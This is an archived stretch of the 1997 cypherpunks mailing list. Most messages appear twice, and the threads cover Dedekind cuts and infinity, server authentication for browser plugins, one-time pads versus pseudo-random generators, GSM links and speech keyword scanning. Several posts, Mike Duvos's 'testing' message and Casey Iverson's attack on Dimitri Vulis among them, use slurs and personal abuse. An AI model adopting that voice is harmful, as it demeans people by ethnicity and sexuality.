> The number of cuts are 1-to-1 with the Reals, they are not the Reals.
> There is no way I can make a cut which is 3.1527, only 1-to-1 with the
> number(s). Important distinction.

They are 1-1 with the Reals, you can define all the operations on 
them that are defined for reals, for every representable real (like 
3.1527) there exists a DC.  You have some idea, perhaps that there 
are "real" reals, as opposed to the various constructs for defining 
them?  Perhaps you could define what a "real" real would be?

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Elliott <paul.elliott@Hrnowl.LoneStar.ORG>
Date: Mon, 20 Jan 1997 01:46:25 -0800 (PST)
To: ichudov%algebra.com.cypherpunks@toad.com (cypherpunks mailing list)
Subject: Re: Numbers we cannot talk about
In-Reply-To: <199701200234.UAA06387@manifold.algebra.com>
Message-ID: <32e33114.flight@flight.hrnowl.lonestar.org>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


> Some of the applications of these theories are very relevant. For
> example, a theorem that proves that it is impossible to write a program
> that would determine if any other program would stop or loop forever, is
> very relevant and interesting.
> 
> 	- Igor.

Well, yes, but a scientist can only make a finite number of measurements.
A computer used for crypto can only have a finite number of states.

All this talk about transfinite numbers does not have any effect
on arithemetic truths.

What good is an axiom system which asserts (internally) that there
are uncountably many reals if that same axiom system has a countable
model?

- -- 
Paul Elliott                                  Telephone: 1-713-781-4543
Paul.Elliott@hrnowl.lonestar.org              Address:   3987 South Gessner #224
                                              Houston Texas 77063

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: cp850

iQCVAgUBMuMw8vBUQYbUhJh5AQFJYgP/a05CTNOG7zYJxcLBFU6JdzNItGUik7pi
fbor6p9l6FDgCwSSRIB59ApRIwKFscGLHVT/mAIi5Ofbnbn/wsm9p35ZNlY0YeDd
nPf171quOh7d91W6FXOUwhKSfehbAACbsapN5yaf2vtldpTb/LpdA+xvKTFgiRvg
4/8+yhyfp34=
=npw2
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Elliott <paul.elliott@hrnowl.lonestar.org>
Date: Mon, 20 Jan 1997 08:12:07 -0800 (PST)
To: cypherpunks mailing list <ichudov%algebra.com.cypherpunks@toad.com>
Subject: Re: Numbers we cannot talk about
Message-ID: <199701201612.IAA12423@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


> Some of the applications of these theories are very relevant. For
> example, a theorem that proves that it is impossible to write a program
> that would determine if any other program would stop or loop forever, is
> very relevant and interesting.
> 
> 	- Igor.

Well, yes, but a scientist can only make a finite number of measurements.
A computer used for crypto can only have a finite number of states.

All this talk about transfinite numbers does not have any effect
on arithemetic truths.

What good is an axiom system which asserts (internally) that there
are uncountably many reals if that same axiom system has a countable
model?

- -- 
Paul Elliott                                  Telephone: 1-713-781-4543
Paul.Elliott@hrnowl.lonestar.org              Address:   3987 South Gessner #224
                                              Houston Texas 77063

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Mon, 20 Jan 1997 09:04:25 -0800 (PST)
To: cypherpunks-outgoing-ksiuw@toad.com
Subject: Slow Cypherpunk Day
Message-ID: <199701201704.JAA04094@netcom21.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Is cypherpunks-outgoing-ksiuw@toad.com where articles should be sent
to bypass the censors?

   Testing 1 2 3...

   Cocksucker Armenian Mayonaise Gilmore Faggot Crypto

   Testing 1 2 3...

We now return you to your regular programming...

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 07:11:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dedikend Cut's and such (fwd)
Message-ID: <199701201518.JAA02060@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> > Did a little research, Dedekind Cut's and such use Integers to define a
> > SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
> > set of Reals.
> 
> They do.  The set of all numbers representable by a DC is precisely 
> the set of reals.

Then you are saying that using Dedekind Cut's it is possible to define the
ENTIRE set of Reals? I am assuming that entire includes all those Reals
which aren't representable by any algorithm and of which we can't even speak
(even though we are).

Another pretty nifty trick.


                                                        Jim Choate
                                                        CyberTects
                                                        ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 08:26:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dedikend Cut's and such (fwd)
Message-ID: <199701201626.IAA12828@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> > Did a little research, Dedekind Cut's and such use Integers to define a
> > SPECIFIC Real to a arbitrary BUT FIXED resolution. They do not define the
> > set of Reals.
> 
> They do.  The set of all numbers representable by a DC is precisely 
> the set of reals.

Then you are saying that using Dedekind Cut's it is possible to define the
ENTIRE set of Reals? I am assuming that entire includes all those Reals
which aren't representable by any algorithm and of which we can't even speak
(even though we are).

Another pretty nifty trick.


                                                        Jim Choate
                                                        CyberTects
                                                        ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 20 Jan 1997 10:25:49 -0800 (PST)
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Server Authentication
Message-ID: <199701201825.KAA15083@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Bill Frantz writes:
> 
> I recently came aware of an interesting problem in server authentication.
> I.e. How does a browser plugin validate the server it is working for.
> There are many reasons for a plugin to want to validate its web server
> including contractual relations, but the one that most appeals to me is
> that the plugin provides access to confidential data which is used in an
> application distributed between the client machine and the server.  Since
> the data is confidential, the plugin doesn't want to send it to just any
> server who can serve up a web page in the correct format, so it needs to
> authenticate the server.
> 
> Now the obvious way to validate the server would be through the
> certificates exchanged when the SSL session was set up.  (I am assuming a
> SSL session here because you shouldn't send confidential data over a
> non-encrypted link.)  However, I haven't found an API where the plugin can
> discover the certificate used by the server, so it appears you have to roll
> your own.

I think that you can get access to the server's certificate.
I know you can from the CGI interface.  Unfortunately it's the
raw ASN.1 encoded certificate, so you would have to ASN.1 decode it.
Bleah.

If the SSL handshake completes, then you can assume that the client
has verified and authenticated the server certificate.   The only problem
would be that the authentication might not be up to the plugin's standards-
i.e.  a connection to www.foo.com is somehow intercepted by
www.ripoff-plugins.com.  The server www.ripoff-plugins.com presents a cert
who's name is www.foo.com.  The browser correctly presents a pop-up dialog
noting the discrepancy, and the luser operating the client clicks
on the 'OK' button, allowing the SSL handshake to finish.  Oops.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 07:22:46 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201529.JAA02276@einstein>
MIME-Version: 1.0
Content-Type: text



> Infinity does not have a predecessor, so it makes no sense to
> count back from it a finite number of steps.

If infinity does not have predecessors (ie is immune to normal arithmetic
operations) then it is not possible for a sequence to approach it by adding
a finite amount to succesive terms in order to approach it. This means that
a sequence can not meaningfuly be asymptotic with infinity (meaning I have to
be able to draw a asymptote, at least in theory, in order to demonstrate the
limit).

> If one constructs the Ordinals, which are isomorphism classes of
> well-ordered sets, and the Cardinals, which are equivalence
> classes of equipotent sets, one will automatically end up with
> all sorts of transfinite numbers.

If infinity is not a number, how is it possible to have a definite number
(ie transfinite) which is larger than it?

My contention is that number theory as you present it is playing fast and
loose with the concept of infinity not being a number or visa versa.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 08:28:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201628.IAA12866@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> Infinity does not have a predecessor, so it makes no sense to
> count back from it a finite number of steps.

If infinity does not have predecessors (ie is immune to normal arithmetic
operations) then it is not possible for a sequence to approach it by adding
a finite amount to succesive terms in order to approach it. This means that
a sequence can not meaningfuly be asymptotic with infinity (meaning I have to
be able to draw a asymptote, at least in theory, in order to demonstrate the
limit).

> If one constructs the Ordinals, which are isomorphism classes of
> well-ordered sets, and the Cardinals, which are equivalence
> classes of equipotent sets, one will automatically end up with
> all sorts of transfinite numbers.

If infinity is not a number, how is it possible to have a definite number
(ie transfinite) which is larger than it?

My contention is that number theory as you present it is playing fast and
loose with the concept of infinity not being a number or visa versa.


                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 07:29:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201536.JAA02298@einstein>
MIME-Version: 1.0
Content-Type: text



> > And I contend that ANY number which is Real can be expressed by the decimal
> > expansion above. Which clearly qualifies as a formal system.
> 
> To be a formal system of the type required, you would also have to 
> specify deterministic rules that could generate the "Ai" values.  The 
> key distinction is between "expressed by" and "generated by".

But we do have a formal system for generating those terms. Dedekind Cuts
used to enumerate the value of an arbitrary length compared to the unit
length.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 08:25:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201625.IAA12764@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > And I contend that ANY number which is Real can be expressed by the decimal
> > expansion above. Which clearly qualifies as a formal system.
> 
> To be a formal system of the type required, you would also have to 
> specify deterministic rules that could generate the "Ai" values.  The 
> key distinction is between "expressed by" and "generated by".

But we do have a formal system for generating those terms. Dedekind Cuts
used to enumerate the value of an arbitrary length compared to the unit
length.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 20 Jan 1997 09:40:09 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Take it to sci.math
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970120173941Z-48898@INET-01-IMC.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	someone using WinSock Remailer

Will all those people who are talking about set theory and
the countability of various number systems take their discussion
to sci.math, please? 'Cuz

1) All that stuff is irrelevant to crypto, its science or politics.
..................................................


And as everyone on this list acutely knows, neither math, science, nor
politics has anything to do with crypto.   In fact, history bears out
the fact cryptologists have neither cause nor reason for what they do.
It is a useless by-product of excess mental activity for which only a
few can find application, while fewer yet have any concern for its
ramifications in a globally connected society of lightning
communication.

   ..
Blanc






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@microsoft.com>
Date: Mon, 20 Jan 1997 10:10:52 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: Take it to sci.math
Message-ID: <199701201810.KAA14866@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	someone using WinSock Remailer

Will all those people who are talking about set theory and
the countability of various number systems take their discussion
to sci.math, please? 'Cuz

1) All that stuff is irrelevant to crypto, its science or politics.
..................................................


And as everyone on this list acutely knows, neither math, science, nor
politics has anything to do with crypto.   In fact, history bears out
the fact cryptologists have neither cause nor reason for what they do.
It is a useless by-product of excess mental activity for which only a
few can find application, while fewer yet have any concern for its
ramifications in a globally connected society of lightning
communication.

   ..
Blanc







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 07:33:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: infinity & set membership (fwd)
Message-ID: <199701201540.JAA02315@einstein>
MIME-Version: 1.0
Content-Type: text



> What could be the problem here?  One problem might be that an integer
> (not including infinity) divided by "infinity" should be 0.

This ratio has one of 3 outcomes in my system depending on the rate of
approach to infinity of the defining functions,

oo/oo = 0  if the denominator grows faster than the numerator

oo/oo = oo if the numerator grows faster than the denominator

oo/oo = 1  if the two functions grow at equal rates


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Mon, 20 Jan 1997 08:27:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: infinity & set membership (fwd)
Message-ID: <199701201627.IAA12858@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> What could be the problem here?  One problem might be that an integer
> (not including infinity) divided by "infinity" should be 0.

This ratio has one of 3 outcomes in my system depending on the rate of
approach to infinity of the defining functions,

oo/oo = 0  if the denominator grows faster than the numerator

oo/oo = oo if the numerator grows faster than the denominator

oo/oo = 1  if the two functions grow at equal rates


                                                       Jim Choate
                                                       CyberTects
                                                       ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 20 Jan 1997 06:41:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: One time pads and randomness?
Message-ID: <3.0.32.19970120094053.00970880@gateway.grumman.com>
MIME-Version: 1.0
Content-Type: text/plain


>[Blurb on OTPs ...] I realize this has a limited amount of
>messages before it is used up. But would this be secure?
>Any suggestions, complaints, big gapping holes I missed? 

TMK, this is as close to a perfectly secure system as can be achieved.  *AS
LONG AS* the disks/discs are never compromised and never reused.

As an interesting sidenote, if you read Tom Clancy's "Sum of All Fears"
this is the type of system the CIA wants to implement even though the NSA
doesn't want to back them because they think their (compromised) sytem is
secure.  Don't we all wish...


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"I thought your patience was infinte?"
'Since space and time are curved, the infinite sooner or later bends back
upon itself and ends up where it began and so have I.'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Mon, 20 Jan 1997 08:26:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: One time pads and randomness?
Message-ID: <199701201626.IAA12827@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>[Blurb on OTPs ...] I realize this has a limited amount of
>messages before it is used up. But would this be secure?
>Any suggestions, complaints, big gapping holes I missed? 

TMK, this is as close to a perfectly secure system as can be achieved.  *AS
LONG AS* the disks/discs are never compromised and never reused.

As an interesting sidenote, if you read Tom Clancy's "Sum of All Fears"
this is the type of system the CIA wants to implement even though the NSA
doesn't want to back them because they think their (compromised) sytem is
secure.  Don't we all wish...


_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
"I thought your patience was infinte?"
'Since space and time are curved, the infinite sooner or later bends back
upon itself and ends up where it began and so have I.'






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 20 Jan 1997 06:45:57 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: GSM technology
In-Reply-To: <199701170931.JAA00539@server.test.net>
Message-ID: <Pine.SOL.3.93.970120094013.19002A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 17 Jan 1997, Adam Back wrote:

> 
> Steve Shear <azur@netcom.com> writes:
> > [very useful explanation of GSM TDMA, and the new HSCSD]
> 
> 64 kbit/s tied to ISDN is very nice technology. 

	Does anyone use ADSL lines?  or are they still very expensive?

> > ENCRYPTED GSM LINKS
> > If the GSM phone includes a data port, as some already do, just connect
> > your laptop, dial your ISP and 'push' the encrypted traffic over that link
> > (e.g., using TCP/IP and PGPfone).
[...]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Nurdane Oksas <oksas@asimov.montclair.edu>
Date: Mon, 20 Jan 1997 08:25:49 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: GSM technology
Message-ID: <199701201625.IAA12747@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 17 Jan 1997, Adam Back wrote:

> 
> Steve Shear <azur@netcom.com> writes:
> > [very useful explanation of GSM TDMA, and the new HSCSD]
> 
> 64 kbit/s tied to ISDN is very nice technology. 

	Does anyone use ADSL lines?  or are they still very expensive?

> > ENCRYPTED GSM LINKS
> > If the GSM phone includes a data port, as some already do, just connect
> > your laptop, dial your ISP and 'push' the encrypted traffic over that link
> > (e.g., using TCP/IP and PGPfone).
[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Mon, 20 Jan 1997 06:52:01 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
Message-ID: <3.0.16.19970120094321.429718ae@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain


Dimitri is a low life piece of Russan shit who is trying to distroy this
list because he has serious mental
problems or he is a tool of the NSA.

What part of his vicious personal and anomyous attacks against  members of
the list  'are not being read
correctly'?

What part of his calling everyone on this list that won't put up with his
deliberate abuse, "fagots",  'are not being read correctly'?

If you don't get it, you are a *really dumb fuck* or a KTOM tool.

At 09:42 PM 1/16/97 GMT, you wrote:
>
>It's occured to me recently that Dimitri's posts are not being read
>correctly, it is not the content which is the point, nor the
>superficial lack of crypto relevance.
>
>Dimitri is an intelligent guy, and has a high level of crypto
>expertise (he has a PhD on a cryptography topic).  It is my belief
>that his posts can only be understood in a "meta" sense -- he is
>engaged in a highly complex cryptographic experiment.  People who read
>and respond to his individual posts are the unwitting subjects in his
>experiments.  His posts and the responses to them are actually the
>data-set for a thorough cryptanalysis of mailing list threats.  His
>current topic under investigation is Denial of Service (DoS) attacks
>on mailing lists.
>
>Denial of service on mailing lists is a complex business, and requires
>expert human input to be done properly.
>
>Dimitri has systematically explored these types of posting behaviour:
>
>1. Posting only crypto relevant material.
>2. Interspersing crypto relevant posts with hand personalised flame bait.
>3. Interspersing crypto relevant posts with bot generated flame bait.
>4. Interspersing crypto relevant posts with news stories.
>5. Posting only non crypto relevant material.
>
>The alert reader will recall these phases of posting style (currently
>we are in sub experiment 5, the other phases have occured over a
>protracted period of intensive experimentation, and some newer readers
>may have missed earlier phases).
>
>There were other experiments which may or may not have been part of
>Dimitri's series of DoS experiments:
>
>6. Subscribing the list to itself (testing list resilience to recursion)
>
>7. Forging posts to carefully selected newsgroups with
>"cypherpunks@toad.com" as the sender (this indirectly adds user
>"cypherpunks@toad.com" to many direct marketing lists as direct
>marketers make use of email addresses scanned from newsgroups).
>
>8. The "UNSCRIVE" and other spelling variations of "unsubscribe" epidemic,
>and ensuing instructions and discussion
>
>9. Subscribing the list to other lists
>
>10. Bot generated flame bait posted anonymously (with ascii art)
>
>>From the post I am following up to the reader will observe an oblique
>reference to the transition from phase 4 of the experiments to the
>current phase, phase 5 (the reader will also note references to experimental
>results c and d described below):
>
>Dimitri Vulis <dlv@bwalk.dm.com> writes:
>> One memorable "censorship" incident occurred when the lying cocksucker
>> John Gilmore (spit) forcibly unsubscribed me from this list because he
>> didn't like the contents of my submissions - or did you forget already?
>> Look up Declan's disgraceful writeup on Netly News archives.
>> 
>> At that time most valuable contributors to this list (such as myself)
>> resolved not to contribute crypto-relevant content to a censored forum.
>  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>
>More widely read cypherpunks will know that Dimitri has performed
>similar experiments in other fora -- his systematic experiments in
>numerous USENET newsgroups resulted in the his receiving the
>prestigious KOTM ("Kook Of The Month") award.
>
>His main experimental results to date with the cypherpunks mailing
>list series of experiments have been:
>
>a) many cypherpunks publically announcing kill filing him
>
>b) numerous cypherpunks suggesting censoring him (a particularly
>interesting result considering the libertarian leanings of many on
>this list)
>
>c) the outstanding experimental result of being forcibly unsubscribed
>from the list, and of being barred from resubscribing by John Gilmore.
>(creator of alt.* USENET newsgroup hierarchy, and well know freespeech
>advocate)
>
>d) another interesting, incidental experimental result was provided by
>Declan McCullagh in his Netly News piece in prematurely, and entirely
>unwittingly, publishing some of Dimitri's expermiental data-set.
>
>e) the main experimental result: the list shortly moving to a
>moderated form, seemingly at the request of Sandy Sandfort, with
>agreement from John Gilmore.
>
>These experimental results are quite significant, when taken in the
>context of the anti-censorship, libertarian, pro-freespeech
>environment of the cypherpunks mailing list.  Dimitri should be
>congratulated on his outstanding work.
>
>I await with interest the last phases of Dimitri's experiment, when
>the cypherpunks list becomes a moderated forum.  My suggestions for
>interesting experiments during the moderated phase are:
>
>1. Testing the limits of Dale Thorn's anti-censorship sentiments (for
>those who don't read Dale, he is subscribed to "cypherpunks-unedited"
>in preparation for the moderation).
>
>2. Testing Sandy Sandforts rejection criteria.
>
>3. Testing Sandy Sandforts rejection rate for long crypto relevant
>posts interspersed with irrelevant flame bait.
>
>4. Testing Sandy Sandforts rejection rate for posts with flame bait .sigs
>
>I hope Dimitri's selfless efforts in furthering understanding of DoS
>attacks on mailing lists is properly acknowledged when he publishes
>his findings on completion of his experiments.  I also hope that
>Dimitri will document his recommendations for mailing list
>configuration and management in light of his experiments.
>
>Adam
>--
>print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
>)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 09:45:29 -0800 (PST)
To: AaronH4321@aol.com
Subject: Re: One time pads and randomness?
Message-ID: <3.0.1.32.19970119220225.00653a30@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome!  You've asked a Frequently Asked Question, so you're obviously 
new here, but you're also thinking, so we'll cut you some slack :-)
A good book on cryptography that you should read is Bruce Schneier's
"Applied Cryptography", which talks about both math and practical issues.

At 09:51 AM 1/18/97 -0500, AaronH4321@aol.com wrote:
>I want to use a one time pad pased crypto system. I understand that the
>randomness of the pad genorator is key to security (other than lossing 
>the keys).  What I want to know is if I use a psuedo-RNG that ....

Pseudo-Randomness isn't Real Randomness, and OTPs need Real Randomness.
[Von Neumann said that anyone using mathematical methods to generate
random numbers "is, of course, in a state of sin."]
If you've got a Pseudo-RNG, your random number generator has some state
at step 1 that totally determines the output at steps 2...infinity.
This means that anybody who can determine the state of the PRNG at
step n can decode all messages for steps n+1, n+2, ...., and often
for steps 1....n-1 as well (depending on the particular PRNG.)
If you're got Real Randomness*, even if you know the value of the
pad at step n, it tells you entirely nothing about any other step.
	
To make it worse, the popular PRNGs turn out to be annoyingly easy
to crack, i.e. to determine the state from a small number of samples.

>Say I create a 1 million character one time pad that passes all of the
>randomness tests.  It is "truely random". 

Unfortunately, passing randomness tests doesn't tell you a pad is
"truly random" - it just eliminates the blatantly easy stuff.
For instance, x[n+1] = Hash( x[n] ) or X[n+1] = Encrypt( x[n] )
for a cryptographically strong hash function or encryption like 
MD5 or SHA or 3-DES will pass randomness tests just fine,
but it's still totally deterministic.  Still not a OTP.

However, say you create the pad from really random sources like
flipping lots of coins or counting gamma rays, and haul it to your
computers by well-armed guys with briefcases handcuffed to their wrists.

>"A" grabs a chunk of the one time pad  starting at a random point and 
>encrypts it....There "B" moves to the random point and begins decryption.

If the pad is _really_ random, and you're sure nobody's seen any of it,
then there's no difference between starting at a random point and
starting at the beginning, and the bookkeeping is much cleaner.

>During to process both computers mark that section of the OTP used so 
>that they don't retransmit with it.  I realize this has a limited amount 
>of messages before it is used up.  But would this be secure?

Yeah, you've got it (once you remember to use a really random pad
so there's entirely no relationship between bits n and n+1.)
And you've also hit one of the basic difficulties with using OTPs,
which is making sure you only use the once, and that this means
that sometimes you run out AND YOU STILL CAN'T USE THE PAD AGAIN.

	[*Some philosophers will argue that there isn't any
	Real Randomness, that there's just a deterministic
	State Of The Universe that's more complex than you happen to know,
	and some will rant about Quantum Mechanics, and others who
	actually have some clue about Quantum will tell you that it 
	doesn't get you off the hook; in any case, as long as the universe
	is messy enough it's be close enough for government work.]

The NSA was able to crack a bunch of Russian OTP transmissions back
in the 50s (the project name was Venona, and it was recently announced)
because the Russians did two major things wrong: They used pads more
than once when they were sloppy or out of new pads, and they didn't
use very good randomness - clerks banging "randomly" on typewriters
generate data with more correlation and less even distribution than
they'd expect, and in nearly-pre-computer days they weren't able

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 10:12:55 -0800 (PST)
To: AaronH4321@aol.com
Subject: Re: One time pads and randomness?
Message-ID: <199701201812.KAA14899@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome!  You've asked a Frequently Asked Question, so you're obviously 
new here, but you're also thinking, so we'll cut you some slack :-)
A good book on cryptography that you should read is Bruce Schneier's
"Applied Cryptography", which talks about both math and practical issues.

At 09:51 AM 1/18/97 -0500, AaronH4321@aol.com wrote:
>I want to use a one time pad pased crypto system. I understand that the
>randomness of the pad genorator is key to security (other than lossing 
>the keys).  What I want to know is if I use a psuedo-RNG that ....

Pseudo-Randomness isn't Real Randomness, and OTPs need Real Randomness.
[Von Neumann said that anyone using mathematical methods to generate
random numbers "is, of course, in a state of sin."]
If you've got a Pseudo-RNG, your random number generator has some state
at step 1 that totally determines the output at steps 2...infinity.
This means that anybody who can determine the state of the PRNG at
step n can decode all messages for steps n+1, n+2, ...., and often
for steps 1....n-1 as well (depending on the particular PRNG.)
If you're got Real Randomness*, even if you know the value of the
pad at step n, it tells you entirely nothing about any other step.
	
To make it worse, the popular PRNGs turn out to be annoyingly easy
to crack, i.e. to determine the state from a small number of samples.

>Say I create a 1 million character one time pad that passes all of the
>randomness tests.  It is "truely random". 

Unfortunately, passing randomness tests doesn't tell you a pad is
"truly random" - it just eliminates the blatantly easy stuff.
For instance, x[n+1] = Hash( x[n] ) or X[n+1] = Encrypt( x[n] )
for a cryptographically strong hash function or encryption like 
MD5 or SHA or 3-DES will pass randomness tests just fine,
but it's still totally deterministic.  Still not a OTP.

However, say you create the pad from really random sources like
flipping lots of coins or counting gamma rays, and haul it to your
computers by well-armed guys with briefcases handcuffed to their wrists.

>"A" grabs a chunk of the one time pad  starting at a random point and 
>encrypts it....There "B" moves to the random point and begins decryption.

If the pad is _really_ random, and you're sure nobody's seen any of it,
then there's no difference between starting at a random point and
starting at the beginning, and the bookkeeping is much cleaner.

>During to process both computers mark that section of the OTP used so 
>that they don't retransmit with it.  I realize this has a limited amount 
>of messages before it is used up.  But would this be secure?

Yeah, you've got it (once you remember to use a really random pad
so there's entirely no relationship between bits n and n+1.)
And you've also hit one of the basic difficulties with using OTPs,
which is making sure you only use the once, and that this means
that sometimes you run out AND YOU STILL CAN'T USE THE PAD AGAIN.

	[*Some philosophers will argue that there isn't any
	Real Randomness, that there's just a deterministic
	State Of The Universe that's more complex than you happen to know,
	and some will rant about Quantum Mechanics, and others who
	actually have some clue about Quantum will tell you that it 
	doesn't get you off the hook; in any case, as long as the universe
	is messy enough it's be close enough for government work.]

The NSA was able to crack a bunch of Russian OTP transmissions back
in the 50s (the project name was Venona, and it was recently announced)
because the Russians did two major things wrong: They used pads more
than once when they were sloppy or out of new pads, and they didn't
use very good randomness - clerks banging "randomly" on typewriters
generate data with more correlation and less even distribution than
they'd expect, and in nearly-pre-computer days they weren't able

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Jan 1997 09:47:14 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: Keyword scanning/speech recognition
Message-ID: <3.0.1.32.19970119222010.00653b68@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:34 AM 1/19/97, pgut001@cs.auckland.ac.nz wrote:
>I was talking to someone recently about the feasibilty of 
>keyword-scanning phone conversations.  He thought it was probably still 
>beyond the reach of current technology, I thought it wasn't 

I'd guess it's in-between, and it depends a _lot_ on how error-tolerant
you are - do you want to catch them _all_, or just reduce the
set of tapes that you'll have humans listen to later, since you're
trolling for leads but don't mind missing the occasional one?
Speaker-dependent isolated-word recognition is pretty doable.  
Speaker-independent small-vocabulary isolated-word is also pretty good 
(though the AT&T calling-card bot does a better job when I read it numbers 
than when I rapidly tell it "calling card" early in its dialog.)  
Connected-word is a lot harder.

But word-scanning isn't the only thing "They" would troll for -
it's probably easier to look for possible matches for specific voices,
since you don't have to be too accurate.  You want to catch
